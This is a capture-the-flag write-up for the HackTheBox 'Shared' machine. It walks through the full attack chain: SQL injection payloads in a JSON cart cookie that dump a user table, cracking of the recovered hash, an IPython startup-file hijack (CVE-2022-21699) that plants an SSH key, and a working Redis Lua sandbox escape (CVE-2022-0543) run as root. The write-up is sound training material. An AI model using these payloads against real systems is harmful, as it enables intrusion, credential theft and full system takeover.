HTB: Shared Writeup

Shared - HackTheBox Writeup

Machine Information

AttributeDetails
NameShared
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Shared is a PrestaShop-based e-commerce box whose entire attack chain starts in a place most testers never look: a JSON blob stuffed inside a cart cookie. The custom_cart cookie turns out to be a raw, unsanitized fragment of a backend SQL query, and because the application renders one product row per query, the standard “stack everything in a UNION” approach fails silently until the LIMIT offset,1 trick is applied. From there it’s a straight line through a cracked MD5 hash, an SSH foothold, a Python interpreter startup-file hijack (CVE-2022-21699), a Go binary that gives up its secrets to strings without a fight, and a Debian-packaged Redis instance vulnerable to a Lua sandbox escape (CVE-2022-0543) that hands over a root shell.

TL;DR: custom_cart cookie SQLi (MariaDB 10.5.15, row-by-row UNION+LIMIT 1,1#) → dump user table → crack MD5 → SSH as james_mason → CVE-2022-21699 IPython CWD-startup-file RCE via world-writable /opt/scripts_review → SSH as dan_smith (user.txt) → strings on sysadmin-owned Go binary redis_connector_dev → hardcoded Redis password → CVE-2022-0543 Lua sandbox escape against local Redis 6.0.15 → root (root.txt).


Reconnaissance

Port Scanning

Terminal window
# full TCP sweep followed by service/version detection on the discovered ports
nmap -p- --min-rate=1000 -T4 10.10.11.X -oN shared_full.txt
nmap -p22,80,443 -sC -sV 10.10.11.X

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx, redirects to shared.htb
  • 443/tcp — nginx over TLS, PrestaShop storefront

Service Enumeration

Adding the host to /etc/hosts and browsing over HTTPS lands on a live PrestaShop instance:

Terminal window
echo "10.10.11.X shared.htb" | sudo tee -a /etc/hosts

The storefront points to a separate checkout flow on a subdomain, which also needs to be resolved:

Terminal window
echo "10.10.11.X checkout.shared.htb" | sudo tee -a /etc/hosts

checkout.shared.htb hosts PrestaShop’s checkout process. Adding items to the cart sets a custom_cart cookie whose value is URL-encoded JSON:

custom_cart={"<product_code>":"<qty>"}

Vulnerability Assessment

  • The cookie is not just client-side state — the product code portion is concatenated straight into a backend SQL query. Injecting a bare single quote breaks the query (empty cart); terminating with '# restores it, confirming the code enters a raw string context that can be closed and commented out.
  • Each cart row corresponds to a separate backend query rather than one combined query — a UNION with too few or too many columns returns nothing, and results only reappear once the column count and LIMIT offset are aligned per-row.
  • Backend database: MariaDB 10.5.15.

Initial Foothold

1. Confirm the injection point and column count.

Because the app only ever displays one row per product code, a straightforward UNION SELECT returns nothing until the column count matches and the correct row is selected with LIMIT offset,1:

# breaks the query -> empty cart
{"X'":"1"}
# comment out the rest of the query -> cart renders again, confirms injectable
{"X'#":"1"}
# 3-column UNION returns data once column count lines up
{"X' UNION SELECT 1,2,3#":"1"}
# pull row 2 of the union result specifically
{"X' UNION SELECT 1,2,3 LIMIT 1,1#":"1"}
# confirm SQLi and grab the backend version in one shot
{"X' UNION SELECT 1,version(),3 LIMIT 1,1#":"1"}

This confirmed MariaDB 10.5.15 as the backend and that the injected code runs as one query per row, which is why a naive UNION dump doesn’t work — the technique needs the LIMIT 1,1 offset to walk through result rows one at a time.

2. Dump the user table in a single request.

Rather than paging through the table row-by-row via LIMIT, a GROUP_CONCAT inside the UNION collapses the entire table into one returned field, letting the whole user table come back in a single cookie/response round trip:

# GROUP_CONCAT flattens every row of user(username,password) into one string,
# so it fits in the single-row-per-query response the app allows
{"X' UNION SELECT 1,(SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a) FROM user),3 LIMIT 1,1#":"1"}

This returned the credential pair:

james_mason:<redacted>

3. Identify and crack the hash.

The hash length/format matched MD5. Cracked offline against rockyou.txt:

Terminal window
# rockyou wordlist attack against the dumped MD5
hashcat -m 0 james_mason.hash /usr/share/wordlists/rockyou.txt

Result: james_mason:Soleil101

4. SSH in.

Terminal window
ssh james_mason@10.10.11.X
# password: Soleil101
id
# uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1002(developer)

Lateral Movement — james_mason → dan_smith (CVE-2022-21699)

james_mason belongs to the developer group, which has write access to /opt/scripts_review. Process enumeration showed dan_smith periodically running ipython from that directory.

IPython resolves configuration “profiles” by checking os.getcwd() before the user’s own ~/.ipython directory. If a profile_default/startup/ folder exists in the current working directory, any .py/.ipy file inside it is auto-executed at session start — this is CVE-2022-21699. Since dan_smith runs ipython from inside the group-writable /opt/scripts_review, dropping a malicious startup script there gets it executed as dan_smith.

Terminal window
# create the CWD-relative profile IPython will find before ~/.ipython
mkdir -m 777 -p /opt/scripts_review/profile_default/startup
# planted startup script appends our SSH pubkey to dan_smith's authorized_keys
cat > /opt/scripts_review/profile_default/startup/init.py <<'EOF'
with open("/home/dan_smith/.ssh/authorized_keys", "a") as f:
f.write("ssh-ed25519 AAAA... kali@attacker\n")
EOF

Once dan_smith’s scheduled ipython run picked up init.py, the pubkey was appended and SSH access followed directly — no reverse shell needed:

Terminal window
ssh dan_smith@10.10.11.X
id
# groups include sysadmin

🏴 user.txt: <redacted>


Privilege Escalation

dan_smith → root

dan_smith’s sysadmin group owns a Go binary, /usr/local/bin/redis_connector_dev. Rather than loading it into a disassembler, Go binaries typically keep string literals — including hardcoded credentials — as plain constants in .rodata, so a plain strings pass is often enough:

Terminal window
# Go string literals land in .rodata untouched -- no need for Ghidra
strings /usr/local/bin/redis_connector_dev | grep -iE 'pass|redis|auth'

This surfaced the Redis auth password directly: F2WHqJUz2WEz=Gqq

Local Redis was confirmed listening and reachable on the box:

Terminal window
redis-cli -a 'F2WHqJUz2WEz=Gqq' INFO server | grep redis_version
# redis_version:6.0.15

Redis 6.0.15 as packaged on Debian is vulnerable to CVE-2022-0543 — a Lua sandbox escape. Debian/Ubuntu’s Redis package ships with a Lua library (liblua5.1.so.0) that isn’t stripped of the debug/library-loading interface the way it should be for a sandboxed scripting engine, so package.loadlib can be used from inside EVAL to load arbitrary shared objects and call back into non-sandboxed Lua functions like io.popen:

Terminal window
# CVE-2022-0543: pull in the unsandboxed io library via package.loadlib,
# then popen a shell command as the Redis process (root)
redis-cli -a 'F2WHqJUz2WEz=Gqq' EVAL \
"local f = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); \
local io = f(); \
return io.popen('id'):read('*a')" 0
# uid=0(root) gid=0(root) groups=0(root)

Since the exploit ran directly on the box as dan_smith against the local Redis instance, no port-forwarding (chisel or otherwise) was required — the whole escalation happened in-place. From there, io.popen was used to read /root/root.txt directly through the same EVAL.

🏴 root.txt: <redacted>

Note: the jump box used for parts of this engagement had a fully-exhausted /tmp, which forced working around normal tool-staging steps (e.g. extracting the Go binary’s secret via strings in place rather than downloading it for offline reversing, and running the Redis exploit directly on-target rather than forwarding the port back). The underlying vulnerabilities and exploitation logic are unaffected by this constraint.


Attack Chain Summary

custom_cart cookie SQLi (MariaDB 10.5.15, UNION + LIMIT 1,1# row-walk + GROUP_CONCAT dump)
→ user table dumped → james_mason MD5 cracked (rockyou → Soleil101)
→ SSH as james_mason (developer group)
→ CVE-2022-21699: malicious profile_default/startup/init.py in group-writable /opt/scripts_review
→ IPython run by dan_smith executes it → SSH pubkey appended to authorized_keys
→ SSH as dan_smith (user.txt, sysadmin group)
→ strings on sysadmin-owned Go binary redis_connector_dev → hardcoded Redis password
→ CVE-2022-0543: Redis 6.0.15 Lua sandbox escape via package.loadlib + io.popen
→ root shell (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service/version detection
Browser / cookie manipulationDiscovering and manipulating the custom_cart JSON cookie
Manual UNION-based SQLi (LIMIT 1,1#, GROUP_CONCAT)Confirming and exploiting the cookie SQLi, dumping the user table
hashcatCracking the dumped MD5 hash against rockyou.txt
sshFoothold and lateral access as james_mason / dan_smith
CVE-2022-21699 (IPython CWD startup-file exec)Lateral movement from james_mason to dan_smith
stringsExtracting the hardcoded Redis password from the Go binary without reversing
redis-cliAuthenticating to and exploiting the local Redis instance
CVE-2022-0543 (Redis Lua sandbox escape)Root privilege escalation

Key Learnings

Techniques Practiced

  • Identifying SQL injection hidden inside a structured (JSON) cookie value rather than an obvious URL/form parameter
  • Row-by-row UNION-based SQLi exploitation using LIMIT offset,1 when an application only ever renders a single result row per query
  • Single-shot table exfiltration via GROUP_CONCAT inside a UNION injection
  • CVE-2022-21699 — IPython profile startup-file execution from an attacker-writable current working directory
  • Extracting hardcoded secrets from a compiled Go binary via strings, without needing Ghidra/disassembly
  • CVE-2022-0543 — Redis Lua sandbox escape on Debian-packaged Redis via package.loadlib

Lessons Learned

  1. Structured cookie values (JSON, serialized objects) deserve the same injection testing as URL and form parameters — the backend often treats a sub-field as a raw query fragment.
  2. When UNION injection returns nothing despite a plausible column count, check whether the application expects exactly one row per query; LIMIT offset,1 recovers access to each row individually.
  3. Group-writable shared directories (/opt/scripts_review here) combined with another user routinely running an interpreter from that path is a reliable lateral movement vector — CVE-2022-21699 is one concrete instance of a broader “interpreter trusts CWD” class of bug.
  4. Don’t reach for a disassembler before running strings — Go binaries commonly leave credentials and connection details as plaintext string constants.
  5. Distribution-packaged software can carry vulnerabilities (or vulnerable configurations) not present upstream; Redis’s Lua sandbox escape here was specifically tied to how Debian packages the Lua library alongside Redis.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • C4rm3l0, “Shared” — Official HackTheBox Writeup, Document No. D22.100.206 (Machine Author: Nauten). Used for background on CVE-2022-21699 (IPython CWD startup-file execution) and CVE-2022-0543 (Redis Lua sandbox escape mechanics); all IPs, commands, outputs, and credentials above are from the author’s own solve of this box.